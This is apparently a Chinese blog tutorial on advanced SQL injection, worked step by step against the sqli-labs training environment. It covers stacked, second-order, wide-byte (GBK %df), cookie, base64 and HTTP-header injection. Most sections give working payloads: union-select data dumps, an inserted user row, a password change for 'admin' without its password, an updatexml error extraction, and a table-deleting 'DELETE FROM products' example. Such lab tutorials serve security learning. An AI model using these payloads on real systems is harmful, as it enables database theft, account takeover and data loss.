转载请加原文链接:https://www.cnblogs.com/Yang34/p/12634443.html
请自查前期需要掌握的知识:
传参方式:Get 与 post 两种传参方式
注入类型:基于报错注入、基于时间盲注、基于布尔盲注
注入位置:url、post 数据、httpheader 信息
Mysql 数据库:常用函数
SQL 语句:SELECT、INSERTINTO、UPDATE
httpheader:各个属性意义
时间注入进阶可参考:https://www.cnblogs.com/Yang34/p/11809539.html
堆叠注入:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
http://192.168.3.131/sqlilabs/Less-38/?id=111111' union select 1,2,3 --+ 确定字段显示位置
http://192.168.3.131/sqlilabs/Less-38/?id=111111%27%20union%20select%201,database(),3%20--+ 获取库名
http://192.168.3.131/sqlilabs/Less-38/?id=1111%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27%20--+获取表名
http://192.168.3.131/sqlilabs/Less-38/?id=111111' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+获取列名
http://192.168.3.131/sqlilabs/Less-38/?id=11111111'; insert into users(id,username,password)values('1112','y2','y2')--+ 成功插入
二次注入:
在浏览器或者其他软件提交数据请求到服务器端进行处理 提交的数据报文请求中可能包含构造的SQL语句和命令
服务端应用程序将数据存储(数据库中)保存的数据主要是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应
攻击者向服务端发送第二个与第一次不相同的数据
服务器收到,首先查询数据库中已经存储的信息并处理,从而导致攻击者第一次请求中构造的SQL语句或者命令在服务端执行
服务端返回处理数据信息,从而来判断二次注入是否成功
http://192.168.3.131/sqlilabs/Less-24/ 场景如下
注册功能
注册admin’# 用户密码为111111
用户登录
密码修改
未对session中的参数做过滤,username是从session中获取的
主要语句:
Sql语句
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
修改密码
$sql = “UPDATE users SET PASSWORD=‘222222’ where username=‘admin’# 不执行’ and password='$curr_pass' ";
导致不需要知道目标用户密码就可以进行修改
实际执行
$sql = "UPDATE users SET PASSWORD=‘222222' where username=‘admin’#
宽字节注入:
当某字符的大小为一个字节时,称其字符为窄字节
当某字符的大小为两个字节时,称其字符为宽字节
所有英文默认占一个字节,汉字占两个字节
常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS
为了防止sql注入,对用户输入中的单引号’进行处理,在单引号前加上斜杠\进行转义,这样被处理后的sql语句中,单引号不再具有作用(无法进行报错),仅仅是输入的内容而已,换句话说,这个单引号无法发挥和前后单引号闭合的作用,仅仅成为内容
思路:让斜杠\失去作用;让斜杠\消失
http://192.168.3.131/sqlilabs/Less-32/?id=1 正常访问
http://192.168.3.131/sqlilabs/Less-32/?id=1%27 增加单引号,出现斜杠
http://192.168.3.131/sqlilabs/Less-32/?id=1%df%27 使用%df
代码处理:
%df%27—>(check_addslashes) —>%df%5c%27—> (GBK) —>運’
$sql="SELECT * FROM users WHERE id='1運'' LIMIT 0,1";
绕过原理:
%df%5c组成一个新的字符,会吃掉转义的字符\,如此,单引号的转义就不成功了,出现的单引号就会破坏sql语句的结果,产生报错。
http://192.168.3.131/sqlilabs/Less-32/?id=1%df%27--+闭合语句正常显示
http://192.168.3.131/sqlilabs/Less-32/?id=-1%df%27%20union%20select%201,2,database()--+ 获得数据库名
COOKIE注入:
Cookie注入简单来说就是利用Cookie而发起的注入攻击。从本质上来讲,Cookie注入与传统的SQL注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同罢了。
场景如下:
单引号出现报错:
闭合如图:
获取数据库---admin' union select 1,2,database()#
sqlmap获取数据
BASE64注入:
Base64注入是针对传递的参数被base64加密后的注入点进行注入,除了数据被加密外,注入方式与一般注入相同。
闭合语句:
---admin') union select 1,2,database()# 直接获取数据库名
HTTP头注入:
注入点出现在http头内,正常请求如下:.
单引号如下报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’‘, ’192.168.3.1‘, ’admin‘)’ at line 推测后面还有两个参数
查看数据库,与报错结合得知后面还有参数:
1111' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1)# 获得数据库名